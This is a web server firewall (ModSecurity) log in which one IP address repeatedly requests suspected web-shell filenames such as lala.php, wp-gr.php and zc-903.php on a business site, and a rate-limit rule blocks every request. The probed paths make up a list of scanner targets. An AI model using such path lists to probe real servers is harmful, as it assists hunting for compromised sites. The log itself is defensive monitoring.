[Tue Dec 02 23:29:28.540160 2025] [:error] [pid 3648:tid 3698] [client 20.196.108.177:20280] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aS8F2OQEp5icp6XOJr0xGQAAAE4"]
[Tue Dec 02 23:29:28.882056 2025] [:error] [pid 3647:tid 3654] [client 20.196.108.177:20160] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aS8F2FJaqGDFgh_0XI_X-wAAAAE"]
[Tue Dec 02 23:29:29.239152 2025] [:error] [pid 5272:tid 5278] [client 20.196.108.177:20244] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aS8F2ewbFoRzPGfZYVSP2AAAAUM"]
[Tue Dec 02 23:29:29.606877 2025] [:error] [pid 3649:tid 3735] [client 20.196.108.177:20252] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aS8F2bwjL4uqC6YFjxHK5gAAAJg"]
[Tue Dec 02 23:29:29.909667 2025] [:error] [pid 3648:tid 3684] [client 20.196.108.177:20250] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aS8F2eQEp5icp6XOJr0xGwAAAEA"]
[Tue Dec 02 23:29:30.261651 2025] [:error] [pid 5232:tid 5235] [client 20.196.108.177:20286] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aS8F2gApmO-auDy1ob4o3wAAAQE"]
[Tue Dec 02 23:29:30.584498 2025] [:error] [pid 5273:tid 5311] [client 20.196.108.177:20176] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aS8F2iMmXO5H1kNwHHWGbAAAAYk"]
[Tue Dec 02 23:29:30.926673 2025] [:error] [pid 3760:tid 3779] [client 20.196.108.177:20310] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aS8F2ljLYEjdWVcKgVWZPQAAANE"]
[Tue Dec 02 23:29:31.319418 2025] [:error] [pid 3760:tid 3783] [client 20.196.108.177:20197] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aS8F21jLYEjdWVcKgVWZPwAAANU"]
[Tue Dec 02 23:29:31.679566 2025] [:error] [pid 5232:tid 5237] [client 20.196.108.177:20263] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aS8F2wApmO-auDy1ob4o4gAAAQM"]
[Tue Dec 02 23:29:32.046626 2025] [:error] [pid 48650:tid 48656] [client 20.196.108.177:20266] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aS8F3IQuWSn3xrJsXbn6-QAAAcE"]
[Tue Dec 02 23:29:32.424896 2025] [:error] [pid 48650:tid 48657] [client 20.196.108.177:20337] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aS8F3IQuWSn3xrJsXbn7BAAAAcI"]
[Tue Dec 02 23:29:32.741664 2025] [:error] [pid 3760:tid 3767] [client 20.196.108.177:20318] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aS8F3FjLYEjdWVcKgVWZRgAAAMU"]
[Tue Dec 02 23:29:33.156368 2025] [:error] [pid 3760:tid 3782] [client 20.196.108.177:20273] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aS8F3VjLYEjdWVcKgVWZRwAAANQ"]
[Tue Dec 02 23:29:33.501294 2025] [:error] [pid 5272:tid 5291] [client 20.196.108.177:20279] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aS8F3ewbFoRzPGfZYVSP2gAAAVA"]
[Tue Dec 02 23:29:33.819344 2025] [:error] [pid 5273:tid 5305] [client 20.196.108.177:20307] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aS8F3SMmXO5H1kNwHHWGcgAAAYM"]
[Tue Dec 02 23:29:34.244121 2025] [:error] [pid 5232:tid 5254] [client 20.196.108.177:20278] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aS8F3gApmO-auDy1ob4o8QAAARQ"]
[Tue Dec 02 23:29:34.736074 2025] [:error] [pid 48650:tid 48673] [client 20.196.108.177:20164] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aS8F3oQuWSn3xrJsXbn7GgAAAdI"]
[Tue Dec 02 23:29:35.156679 2025] [:error] [pid 3648:tid 3700] [client 20.196.108.177:20216] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aS8F3-QEp5icp6XOJr0xOwAAAFA"]
[Tue Dec 02 23:29:35.503916 2025] [:error] [pid 5232:tid 5252] [client 20.196.108.177:20301] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aS8F3wApmO-auDy1ob4o8gAAARI"]
[Tue Dec 02 23:29:35.840680 2025] [:error] [pid 3647:tid 3655] [client 20.196.108.177:20238] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aS8F31JaqGDFgh_0XI_YAgAAAAI"]
[Tue Dec 02 23:29:36.282063 2025] [:error] [pid 5232:tid 5237] [client 20.196.108.177:20336] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aS8F4AApmO-auDy1ob4o9gAAAQM"]
[Tue Dec 02 23:29:36.591932 2025] [:error] [pid 3760:tid 3772] [client 20.196.108.177:20315] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aS8F4FjLYEjdWVcKgVWZTgAAAMo"]
[Tue Dec 02 23:29:37.023319 2025] [:error] [pid 3647:tid 3667] [client 20.196.108.177:20234] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aS8F4VJaqGDFgh_0XI_YAwAAAA4"]
[Tue Dec 02 23:29:37.422269 2025] [:error] [pid 5272:tid 5286] [client 20.196.108.177:20168] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aS8F4ewbFoRzPGfZYVSP4AAAAUs"]
[Tue Dec 02 23:29:37.988781 2025] [:error] [pid 5232:tid 5256] [client 20.196.108.177:20207] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aS8F4QApmO-auDy1ob4o-AAAARY"]
[Tue Dec 02 23:29:38.314021 2025] [:error] [pid 5273:tid 5324] [client 20.196.108.177:20351] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aS8F4iMmXO5H1kNwHHWGdwAAAZY"]
[Tue Dec 02 23:29:38.831515 2025] [:error] [pid 5273:tid 5305] [client 20.196.108.177:20170] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aS8F4iMmXO5H1kNwHHWGeAAAAYM"]
[Tue Dec 02 23:29:39.208596 2025] [:error] [pid 3647:tid 3674] [client 20.196.108.177:20323] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aS8F41JaqGDFgh_0XI_YCQAAABU"]
[Tue Dec 02 23:29:39.761614 2025] [:error] [pid 3648:tid 3684] [client 20.196.108.177:20420] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aS8F4-QEp5icp6XOJr0xQAAAAEA"]
[Tue Dec 02 23:29:40.103633 2025] [:error] [pid 5232:tid 5244] [client 20.196.108.177:20109] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aS8F5AApmO-auDy1ob4pBAAAAQo"]
[Tue Dec 02 23:29:40.435695 2025] [:error] [pid 48650:tid 48674] [client 20.196.108.177:20185] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aS8F5IQuWSn3xrJsXbn7JgAAAdM"]
[Tue Dec 02 23:29:40.787409 2025] [:error] [pid 3648:tid 3687] [client 20.196.108.177:20097] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aS8F5OQEp5icp6XOJr0xQQAAAEM"]
[Tue Dec 02 23:29:41.250877 2025] [:error] [pid 5232:tid 5250] [client 20.196.108.177:20249] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aS8F5QApmO-auDy1ob4pBgAAARA"]
[Tue Dec 02 23:29:41.844497 2025] [:error] [pid 5272:tid 5297] [client 20.196.108.177:20192] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aS8F5ewbFoRzPGfZYVSP6AAAAVY"]
[Tue Dec 02 23:29:42.227025 2025] [:error] [pid 3649:tid 3715] [client 20.196.108.177:20258] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mo.php"] [unique_id "aS8F5rwjL4uqC6YFjxHK9AAAAIQ"]
[Tue Dec 02 23:29:42.560393 2025] [:error] [pid 5273:tid 5325] [client 20.196.108.177:20118] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mo.php"] [unique_id "aS8F5iMmXO5H1kNwHHWGgQAAAZc"]
[Tue Dec 02 23:29:43.044515 2025] [:error] [pid 48650:tid 48679] [client 20.196.108.177:20174] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mo.php"] [unique_id "aS8F54QuWSn3xrJsXbn7LQAAAdg"]
[Tue Dec 02 23:29:43.634760 2025] [:error] [pid 5232:tid 5252] [client 20.196.108.177:20190] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mo.php"] [unique_id "aS8F5wApmO-auDy1ob4pCgAAARI"]
[Tue Dec 02 23:29:44.249514 2025] [:error] [pid 48650:tid 48674] [client 20.196.108.177:20246] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aS8F6IQuWSn3xrJsXbn7MQAAAdM"]
[Tue Dec 02 23:29:44.962771 2025] [:error] [pid 3648:tid 3701] [client 20.196.108.177:20253] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aS8F6OQEp5icp6XOJr0xQwAAAFE"]
[Tue Dec 02 23:29:45.658496 2025] [:error] [pid 3649:tid 3721] [client 20.196.108.177:20114] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aS8F6bwjL4uqC6YFjxHK9gAAAIo"]
[Tue Dec 02 23:29:46.360747 2025] [:error] [pid 5273:tid 5314] [client 20.196.108.177:20167] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aS8F6iMmXO5H1kNwHHWGkAAAAYw"]
[Tue Dec 02 23:29:46.983226 2025] [:error] [pid 48650:tid 48672] [client 20.196.108.177:20265] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aS8F6oQuWSn3xrJsXbn7NwAAAdE"]
[Tue Dec 02 23:29:47.335007 2025] [:error] [pid 3648:tid 3690] [client 20.196.108.177:20098] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aS8F6-QEp5icp6XOJr0xRwAAAEY"]
[Tue Dec 02 23:29:47.748722 2025] [:error] [pid 5273:tid 5316] [client 20.196.108.177:20271] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aS8F6yMmXO5H1kNwHHWGlwAAAY4"]
[Tue Dec 02 23:29:48.103918 2025] [:error] [pid 48650:tid 48673] [client 20.196.108.177:20163] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aS8F7IQuWSn3xrJsXbn7OQAAAdI"]
[Tue Dec 02 23:29:48.530776 2025] [:error] [pid 48650:tid 48669] [client 20.196.108.177:20039] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/444.php"] [unique_id "aS8F7IQuWSn3xrJsXbn7OwAAAc4"]
[Tue Dec 02 23:29:48.934374 2025] [:error] [pid 5272:tid 5280] [client 20.196.108.177:20177] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/444.php"] [unique_id "aS8F7OwbFoRzPGfZYVSP8wAAAUU"]
[Tue Dec 02 23:29:49.438220 2025] [:error] [pid 48650:tid 48655] [client 20.196.108.177:20320] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/444.php"] [unique_id "aS8F7YQuWSn3xrJsXbn7PQAAAcA"]
[Tue Dec 02 23:29:49.812565 2025] [:error] [pid 5232:tid 5236] [client 20.196.108.177:20256] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/444.php"] [unique_id "aS8F7QApmO-auDy1ob4pEAAAAQI"]
[Tue Dec 02 23:29:50.312016 2025] [:error] [pid 3760:tid 3777] [client 20.196.108.177:20172] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zc-903.php"] [unique_id "aS8F7ljLYEjdWVcKgVWZdQAAAM8"]
[Tue Dec 02 23:29:50.757590 2025] [:error] [pid 3760:tid 3775] [client 20.196.108.177:20173] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zc-903.php"] [unique_id "aS8F7ljLYEjdWVcKgVWZdgAAAM0"]
[Tue Dec 02 23:29:51.184651 2025] [:error] [pid 5273:tid 5311] [client 20.196.108.177:20403] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zc-903.php"] [unique_id "aS8F7yMmXO5H1kNwHHWGmwAAAYk"]
[Tue Dec 02 23:29:51.559481 2025] [:error] [pid 5273:tid 5305] [client 20.196.108.177:20200] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zc-903.php"] [unique_id "aS8F7yMmXO5H1kNwHHWGnAAAAYM"]
